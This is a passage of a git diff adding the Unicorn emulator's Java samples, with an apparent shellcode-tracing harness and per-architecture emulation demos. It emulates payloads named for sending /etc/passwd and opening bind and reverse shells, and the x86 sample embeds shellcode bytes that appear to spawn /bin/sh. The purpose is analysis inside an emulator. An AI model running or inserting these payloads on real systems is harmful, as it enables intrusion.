} + // end supported classes + + // utilities + static String read_string(Unicorn uc, long addr) { + StringBuilder ret = new StringBuilder(); + char c; + do { + c = (char)(uc.mem_read(addr++, 1)[0] & 0xff); + if (c != 0) { + ret.append(c); + } + } while (c != 0); + + return ret.toString(); + } + + static String parse_sock_address(byte[] sock_addr) { + int sin_family = ((sock_addr[0] & 0xff) + (sock_addr[1] << 8)) & 0xffff; + + if (sin_family == 2) { // AF_INET + int sin_port = ((sock_addr[3] & 0xff) + (sock_addr[2] << 8)) & 0xffff; + return String.format("%d.%d.%d.%d:%d", sock_addr[4] & 0xff, sock_addr[5] & 0xff, sock_addr[6] & 0xff, sock_addr[7] & 0xff, sin_port); + } + else if (sin_family == 6) // AF_INET6 + return ""; + return null; + } + + static void print_sockcall(String msg) { + System.out.printf(">>> SOCKCALL %s\n", msg); + } + // end utilities + + static void test_i386(byte[] code) { + fd_chains.clean(); + System.out.printf("Emulate i386 code\n"); + try { + // Initialize emulator in X86-32bit mode + Unicorn mu = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + + // map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + mu.mem_write(ADDRESS, code); + + // initialize stack + mu.reg_write(Unicorn.UC_X86_REG_ESP, new Long(ADDRESS + 0x200000)); + + // handle interrupt ourself + mu.hook_add(new MyInterruptHook(), null); + + // emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + code.length, 0, 0); + + // now print out some registers + System.out.printf(">>> Emulation done\n"); + + } catch (UnicornException uex) { + System.out.printf("ERROR: %s\n", uex.getMessage()); + } + + fd_chains.print_report(); + } + + public static void main(String args[]) { + test_i386(X86_SEND_ETCPASSWD); + test_i386(X86_BIND_TCP); + test_i386(X86_REVERSE_TCP); + test_i386(X86_REVERSE_TCP_2); + } + +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_arm.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_arm.java new file mode 100644 index 0000000..a4bd195 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_arm.java @@ -0,0 +1,130 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh, 2015 */ + +/* Sample code to demonstrate how to emulate ARM code */ + +import unicorn.*; + +public class Sample_arm { + + // code to be emulated + public static final byte[] ARM_CODE = {55,0,(byte)0xa0,(byte)0xe3,3,16,66,(byte)0xe0}; // mov r0, #0x37; sub r1, r2, r3 + public static final byte[] THUMB_CODE = {(byte)0x83, (byte)0xb0}; // sub sp, #0xc + + // memory address where emulation starts + public static final int ADDRESS = 0x10000; + + public static final long toInt(byte val[]) { + long res = 0; + for (int i = 0; i < val.length; i++) { + long v = val[i] & 0xff; + res = res + (v << (i * 8)); + } + return res; + } + + private static class MyBlockHook implements BlockHook { + public void hook(Unicorn u, long address, int size, Object user_data) + { + System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size)); + } + } + + // callback for tracing instruction + private static class MyCodeHook implements CodeHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size)); + } + } + + static void test_arm() + { + + Long r0 = new Long(0x1234); // R0 register + Long r2 = new Long(0x6789); // R1 register + Long r3 = new Long(0x3333); // R2 register + Long r1; // R1 register + + System.out.print("Emulate ARM code\n"); + + // Initialize emulator in ARM mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_ARM); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, ARM_CODE); + + // initialize machine registers + u.reg_write(Unicorn.UC_ARM_REG_R0, r0); + u.reg_write(Unicorn.UC_ARM_REG_R2, r2); + u.reg_write(Unicorn.UC_ARM_REG_R3, r3); + + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing one instruction at ADDRESS with customized callback + u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + u.emu_start(ADDRESS, ADDRESS + ARM_CODE.length, 0, 0); + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + r0 = (Long)u.reg_read(Unicorn.UC_ARM_REG_R0); + r1 = (Long)u.reg_read(Unicorn.UC_ARM_REG_R1); + System.out.print(String.format(">>> R0 = 0x%x\n", r0.intValue())); + System.out.print(String.format(">>> R1 = 0x%x\n", r1.intValue())); + + u.close(); + } + + static void test_thumb() + { + + Long sp = new Long(0x1234); // R0 register + + System.out.print("Emulate THUMB code\n"); + + // Initialize emulator in ARM mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_THUMB); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, THUMB_CODE); + + // initialize machine registers + u.reg_write(Unicorn.UC_ARM_REG_SP, sp); + + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing one instruction at ADDRESS with customized callback + u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + u.emu_start(ADDRESS | 1, ADDRESS + THUMB_CODE.length, 0, 0); + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + sp = (Long)u.reg_read(Unicorn.UC_ARM_REG_SP); + System.out.print(String.format(">>> SP = 0x%x\n", sp.intValue())); + + u.close(); + } + + public static void main(String args[]) + { + test_arm(); + System.out.print("==========================\n"); + test_thumb(); + } + +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_arm64.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_arm64.java new file mode 100644 index 0000000..56a7212 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_arm64.java @@ -0,0 +1,115 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh, 2015 */ + +/* Sample code to demonstrate how to emulate ARM64 code */ + +import unicorn.*; + +public class Sample_arm64 { + + // code to be emulated + public static final byte[] ARM_CODE = {-85,1,15,-117}; // add x11, x13, x15 + + // memory address where emulation starts + public static final int ADDRESS = 0x10000; + + public static final long toInt(byte val[]) { + long res = 0; + for (int i = 0; i < val.length; i++) { + long v = val[i] & 0xff; + res = res + (v << (i * 8)); + } + return res; + } + + public static final byte[] toBytes(long val) { + byte[] res = new byte[8]; + for (int i = 0; i < 8; i++) { + res[i] = (byte)(val & 0xff); + val >>>= 8; + } + return res; + } + + // callback for tracing basic blocks + private static class MyBlockHook implements BlockHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size)); + } + } + + // callback for tracing instruction + private static class MyCodeHook implements CodeHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size)); + } + } + + static void test_arm64() + { + + Long x11 = new Long(0x1234); // X11 register + Long x13 = new Long(0x6789); // X13 register + Long x15 = new Long(0x3333); // X15 register + + System.out.print("Emulate ARM64 code\n"); + + // Initialize emulator in ARM mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_ARM); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, ARM_CODE); + + // initialize machine registers + u.reg_write(Unicorn.UC_ARM64_REG_X11, x11); + u.reg_write(Unicorn.UC_ARM64_REG_X13, x13); + u.reg_write(Unicorn.UC_ARM64_REG_X15, x15); + + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing one instruction at ADDRESS with customized callback + u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + u.emu_start(ADDRESS, ADDRESS + ARM_CODE.length, 0, 0); + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + x11 = (Long)u.reg_read(Unicorn.UC_ARM64_REG_X11); + System.out.print(String.format(">>> X11 = 0x%x\n", x11.longValue())); + + u.close(); + } + + public static void main(String args[]) + { + test_arm64(); + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_m68k.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_m68k.java new file mode 100644 index 0000000..cae025a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_m68k.java @@ -0,0 +1,177 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +/* Unicorn Emulator Engine */ +/* By Loi Anh Tuan, 2015 */ + +/* Sample code to demonstrate how to emulate m68k code */ + +import unicorn.*; + +public class Sample_m68k { + + // code to be emulated + public static final byte[] M68K_CODE = {118,-19}; // movq #-19, %d3 + + // memory address where emulation starts + public static final int ADDRESS = 0x10000; + + public static final long toInt(byte val[]) { + long res = 0; + for (int i = 0; i < val.length; i++) { + long v = val[i] & 0xff; + res = res + (v << (i * 8)); + } + return res; + } + + public static final byte[] toBytes(long val) { + byte[] res = new byte[8]; + for (int i = 0; i < 8; i++) { + res[i] = (byte)(val & 0xff); + val >>>= 8; + } + return res; + } + + // callback for tracing basic blocks + private static class MyBlockHook implements BlockHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size)); + } + } + + // callback for tracing instruction + private static class MyCodeHook implements CodeHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size)); + } + } + + static void test_m68k() + { + Long d0 = new Long(0x0000); // d0 data register + Long d1 = new Long(0x0000); // d1 data register + Long d2 = new Long(0x0000); // d2 data register + Long d3 = new Long(0x0000); // d3 data register + Long d4 = new Long(0x0000); // d4 data register + Long d5 = new Long(0x0000); // d5 data register + Long d6 = new Long(0x0000); // d6 data register + Long d7 = new Long(0x0000); // d7 data register + + Long a0 = new Long(0x0000); // a0 address register + Long a1 = new Long(0x0000); // a1 address register + Long a2 = new Long(0x0000); // a2 address register + Long a3 = new Long(0x0000); // a3 address register + Long a4 = new Long(0x0000); // a4 address register + Long a5 = new Long(0x0000); // a5 address register + Long a6 = new Long(0x0000); // a6 address register + Long a7 = new Long(0x0000); // a6 address register + + Long pc = new Long(0x0000); // program counter + Long sr = new Long(0x0000); // status register + + System.out.print("Emulate M68K code\n"); + + // Initialize emulator in M68K mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_M68K, Unicorn.UC_MODE_BIG_ENDIAN); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, M68K_CODE); + + // initialize machine registers + u.reg_write(Unicorn.UC_M68K_REG_D0, d0); + u.reg_write(Unicorn.UC_M68K_REG_D1, d1); + u.reg_write(Unicorn.UC_M68K_REG_D2, d2); + u.reg_write(Unicorn.UC_M68K_REG_D3, d3); + u.reg_write(Unicorn.UC_M68K_REG_D4, d4); + u.reg_write(Unicorn.UC_M68K_REG_D5, d5); + u.reg_write(Unicorn.UC_M68K_REG_D6, d6); + u.reg_write(Unicorn.UC_M68K_REG_D7, d7); + + u.reg_write(Unicorn.UC_M68K_REG_A0, a0); + u.reg_write(Unicorn.UC_M68K_REG_A1, a1); + u.reg_write(Unicorn.UC_M68K_REG_A2, a2); + u.reg_write(Unicorn.UC_M68K_REG_A3, a3); + u.reg_write(Unicorn.UC_M68K_REG_A4, a4); + u.reg_write(Unicorn.UC_M68K_REG_A5, a5); + u.reg_write(Unicorn.UC_M68K_REG_A6, a6); + u.reg_write(Unicorn.UC_M68K_REG_A7, a7); + + u.reg_write(Unicorn.UC_M68K_REG_PC, pc); + u.reg_write(Unicorn.UC_M68K_REG_SR, sr); + + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing all instruction + u.hook_add(new MyCodeHook(), 1, 0, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + u.emu_start(ADDRESS, ADDRESS + M68K_CODE.length, 0, 0); + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + d0 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D0); + d1 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D1); + d2 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D2); + d3 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D3); + d4 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D4); + d5 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D5); + d6 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D6); + d7 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D7); + + a0 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A0); + a1 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A1); + a2 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A2); + a3 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A3); + a4 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A4); + a5 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A5); + a6 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A6); + a7 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A7); + + pc = (Long)u.reg_read(Unicorn.UC_M68K_REG_PC); + sr = (Long)u.reg_read(Unicorn.UC_M68K_REG_SR); + + System.out.print(String.format(">>> A0 = 0x%x\t\t>>> D0 = 0x%x\n", a0.intValue(), d0.intValue())); + System.out.print(String.format(">>> A1 = 0x%x\t\t>>> D1 = 0x%x\n", a1.intValue(), d1.intValue())); + System.out.print(String.format(">>> A2 = 0x%x\t\t>>> D2 = 0x%x\n", a2.intValue(), d2.intValue())); + System.out.print(String.format(">>> A3 = 0x%x\t\t>>> D3 = 0x%x\n", a3.intValue(), d3.intValue())); + System.out.print(String.format(">>> A4 = 0x%x\t\t>>> D4 = 0x%x\n", a4.intValue(), d4.intValue())); + System.out.print(String.format(">>> A5 = 0x%x\t\t>>> D5 = 0x%x\n", a5.intValue(), d5.intValue())); + System.out.print(String.format(">>> A6 = 0x%x\t\t>>> D6 = 0x%x\n", a6.intValue(), d6.intValue())); + System.out.print(String.format(">>> A7 = 0x%x\t\t>>> D7 = 0x%x\n", a7.intValue(), d7.intValue())); + System.out.print(String.format(">>> PC = 0x%x\n", pc.intValue())); + System.out.print(String.format(">>> SR = 0x%x\n", sr.intValue())); + + u.close(); + } + + public static void main(String args[]) + { + test_m68k(); + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_mips.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_mips.java new file mode 100644 index 0000000..d977c23 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_mips.java @@ -0,0 +1,151 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh, 2015 */ + +/* Sample code to demonstrate how to emulate Mips code (big endian) */ + +import unicorn.*; + +public class Sample_mips { + + // code to be emulated + public static final byte[] MIPS_CODE_EB = {52,33,52,86}; + public static final byte[] MIPS_CODE_EL = {86,52,33,52}; + + // memory address where emulation starts + public static final int ADDRESS = 0x10000; + + public static final long toInt(byte val[]) { + long res = 0; + for (int i = 0; i < val.length; i++) { + long v = val[i] & 0xff; + res = res + (v << (i * 8)); + } + return res; + } + + public static final byte[] toBytes(long val) { + byte[] res = new byte[8]; + for (int i = 0; i < 8; i++) { + res[i] = (byte)(val & 0xff); + val >>>= 8; + } + return res; + } + + // callback for tracing basic blocks + private static class MyBlockHook implements BlockHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size)); + } + } + + // callback for tracing instruction + private static class MyCodeHook implements CodeHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size)); + } + } + + static void test_mips_eb() + { + + Long r1 = new Long(0x6789); // R1 register + + System.out.print("Emulate MIPS code (big-endian)\n"); + + // Initialize emulator in MIPS mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_MIPS, Unicorn.UC_MODE_MIPS32 + Unicorn.UC_MODE_BIG_ENDIAN); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, MIPS_CODE_EB); + + // initialize machine registers + u.reg_write(Unicorn.UC_MIPS_REG_1, r1); + + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing one instruction at ADDRESS with customized callback + u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + u.emu_start(ADDRESS, ADDRESS + MIPS_CODE_EB.length, 0, 0); + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + r1 = (Long)u.reg_read(Unicorn.UC_MIPS_REG_1); + System.out.print(String.format(">>> R1 = 0x%x\n", r1.intValue())); + + u.close(); + } + + static void test_mips_el() + { + Long r1 = new Long(0x6789); // R1 register + + System.out.print("===========================\n"); + System.out.print("Emulate MIPS code (little-endian)\n"); + + // Initialize emulator in MIPS mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_MIPS, Unicorn.UC_MODE_MIPS32 + Unicorn.UC_MODE_LITTLE_ENDIAN); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, MIPS_CODE_EL); + + // initialize machine registers + u.reg_write(Unicorn.UC_MIPS_REG_1, r1); + + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing one instruction at ADDRESS with customized callback + u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + u.emu_start(ADDRESS, ADDRESS + MIPS_CODE_EL.length, 0, 0); + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + r1 = (Long)u.reg_read(Unicorn.UC_MIPS_REG_1); + System.out.print(String.format(">>> R1 = 0x%x\n", r1.intValue())); + + u.close(); + } + + public static void main(String args[]) + { + test_mips_eb(); + test_mips_el(); + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_sparc.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_sparc.java new file mode 100644 index 0000000..85d2636 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_sparc.java @@ -0,0 +1,115 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh, 2015 */ + +/* Sample code to demonstrate how to emulate Sparc code */ + +import unicorn.*; + +public class Sample_sparc { + + // code to be emulated + public static final byte[] SPARC_CODE = {-122,0,64,2}; + //public static final byte[] SPARC_CODE = {-69,112,0,0}; //illegal code + + // memory address where emulation starts + public static final int ADDRESS = 0x10000; + + public static final long toInt(byte val[]) { + long res = 0; + for (int i = 0; i < val.length; i++) { + long v = val[i] & 0xff; + res = res + (v << (i * 8)); + } + return res; + } + + public static final byte[] toBytes(long val) { + byte[] res = new byte[8]; + for (int i = 0; i < 8; i++) { + res[i] = (byte)(val & 0xff); + val >>>= 8; + } + return res; + } + + // callback for tracing basic blocks + private static class MyBlockHook implements BlockHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size)); + } + } + + // callback for tracing instruction + private static class MyCodeHook implements CodeHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size)); + } + } + + static void test_sparc() + { + Long g1 = new Long(0x1230); // G1 register + Long g2 = new Long(0x6789); // G2 register + Long g3 = new Long(0x5555); // G3 register + + System.out.print("Emulate SPARC code\n"); + + // Initialize emulator in Sparc mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_SPARC, Unicorn.UC_MODE_32 + Unicorn.UC_MODE_BIG_ENDIAN); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, SPARC_CODE); + + // initialize machine registers + u.reg_write(Unicorn.UC_SPARC_REG_G1, g1); + u.reg_write(Unicorn.UC_SPARC_REG_G2, g2); + u.reg_write(Unicorn.UC_SPARC_REG_G3, g3); + + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing one instruction at ADDRESS with customized callback + u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + u.emu_start(ADDRESS, ADDRESS + SPARC_CODE.length, 0, 0); + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + g3 = (Long)u.reg_read(Unicorn.UC_SPARC_REG_G3); + System.out.print(String.format(">>> G3 = 0x%x\n", g3.intValue())); + + u.close(); + } + + public static void main(String args[]) + { + test_sparc(); + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_x86.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_x86.java new file mode 100644 index 0000000..e25df64 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_x86.java @@ -0,0 +1,669 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh & Dang Hoang Vu, 2015 */ + +/* Sample code to demonstrate how to emulate X86 code */ + +import unicorn.*; + +public class Sample_x86 { + + // code to be emulated + public static final byte[] X86_CODE32 = {65,74}; + public static final byte[] X86_CODE32_JUMP = {-21,2,-112,-112,-112,-112,-112,-112}; + public static final byte[] X86_CODE32_SELF = {-21,28,90,-119,-42,-117,2,102,61,-54,125,117,6,102,5,3,3,-119,2,-2,-62,61,65,65,65,65,117,-23,-1,-26,-24,-33,-1,-1,-1,49,-46,106,11,88,-103,82,104,47,47,115,104,104,47,98,105,110,-119,-29,82,83,-119,-31,-54,125,65,65,65,65}; + public static final byte[] X86_CODE32_LOOP = {65,74,-21,-2}; + public static final byte[] X86_CODE32_MEM_WRITE = {-119,13,-86,-86,-86,-86,65,74}; + public static final byte[] X86_CODE32_MEM_READ = {-117,13,-86,-86,-86,-86,65,74}; + public static final byte[] X86_CODE32_JMP_INVALID = {-23,-23,-18,-18,-18,65,74}; + public static final byte[] X86_CODE32_INOUT = {65,-28,63,74,-26,70,67}; + public static final byte[] X86_CODE64 = {65,-68,59,-80,40,42,73,15,-55,-112,77,15,-83,-49,73,-121,-3,-112,72,-127,-46,-118,-50,119,53,72,-9,-39,77,41,-12,73,-127,-55,-10,-118,-58,83,77,-121,-19,72,15,-83,-46,73,-9,-44,72,-9,-31,77,25,-59,77,-119,-59,72,-9,-42,65,-72,79,-115,107,89,77,-121,-48,104,106,30,9,60,89}; + public static final byte[] X86_CODE16 = {0, 0}; // add byte ptr [bx + si], al + + // memory address where emulation starts + public static final int ADDRESS = 0x1000000; + + public static final long toInt(byte val[]) { + long res = 0; + for (int i = 0; i < val.length; i++) { + long v = val[i] & 0xff; + res = res + (v << (i * 8)); + } + return res; + } + + public static final byte[] toBytes(long val) { + byte[] res = new byte[8]; + for (int i = 0; i < 8; i++) { + res[i] = (byte)(val & 0xff); + val >>>= 8; + } + return res; + } + + // callback for tracing basic blocks + // callback for tracing instruction + private static class MyBlockHook implements BlockHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + System.out.printf(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size); + } + } + + // callback for tracing instruction + private static class MyCodeHook implements CodeHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + System.out.printf(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size); + + Long eflags = (Long)u.reg_read(Unicorn.UC_X86_REG_EFLAGS); + System.out.printf(">>> --- EFLAGS is 0x%x\n", eflags.intValue()); + + // Uncomment below code to stop the emulation using uc_emu_stop() + // if (address == 0x1000009) + // u.emu_stop(); + } + } + + private static class MyWriteInvalidHook implements EventMemHook { + public boolean hook(Unicorn u, long address, int size, long value, Object user) { + System.out.printf(">>> Missing memory is being WRITE at 0x%x, data size = %d, data value = 0x%x\n", + address, size, value); + // map this memory in with 2MB in size + u.mem_map(0xaaaa0000, 2 * 1024*1024, Unicorn.UC_PROT_ALL); + // return true to indicate we want to continue + return true; + } + } + + // callback for tracing instruction + private static class MyCode64Hook implements CodeHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + Long r_rip = (Long)u.reg_read(Unicorn.UC_X86_REG_RIP); + System.out.printf(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size); + System.out.printf(">>> RIP is 0x%x\n", r_rip.longValue()); + + // Uncomment below code to stop the emulation using uc_emu_stop() + // if (address == 0x1000009) + // uc_emu_stop(handle); + } + } + + + private static class MyRead64Hook implements ReadHook { + public void hook(Unicorn u, long address, int size, Object user) { + System.out.printf(">>> Memory is being READ at 0x%x, data size = %d\n", address, size); + } + } + + private static class MyWrite64Hook implements WriteHook { + public void hook(Unicorn u, long address, int size, long value, Object user) { + System.out.printf(">>> Memory is being WRITE at 0x%x, data size = %d, data value = 0x%x\n", + address, size, value); + } + } + + // callback for IN instruction (X86). + // this returns the data read from the port + private static class MyInHook implements InHook { + public int hook(Unicorn u, int port, int size, Object user_data) { + Long r_eip = (Long)u.reg_read(Unicorn.UC_X86_REG_EIP); + + System.out.printf("--- reading from port 0x%x, size: %d, address: 0x%x\n", port, size, r_eip.intValue()); + + switch(size) { + case 1: + // read 1 byte to AL + return 0xf1; + case 2: + // read 2 byte to AX + return 0xf2; + case 4: + // read 4 byte to EAX + return 0xf4; + } + return 0; + } + } + + // callback for OUT instruction (X86). + private static class MyOutHook implements OutHook { + public void hook(Unicorn u, int port, int size, int value, Object user) { + Long eip = (Long)u.reg_read(Unicorn.UC_X86_REG_EIP); + Long tmp = null; + System.out.printf("--- writing to port 0x%x, size: %d, value: 0x%x, address: 0x%x\n", port, size, value, eip.intValue()); + + // confirm that value is indeed the value of AL/AX/EAX + switch(size) { + default: + return; // should never reach this + case 1: + tmp = 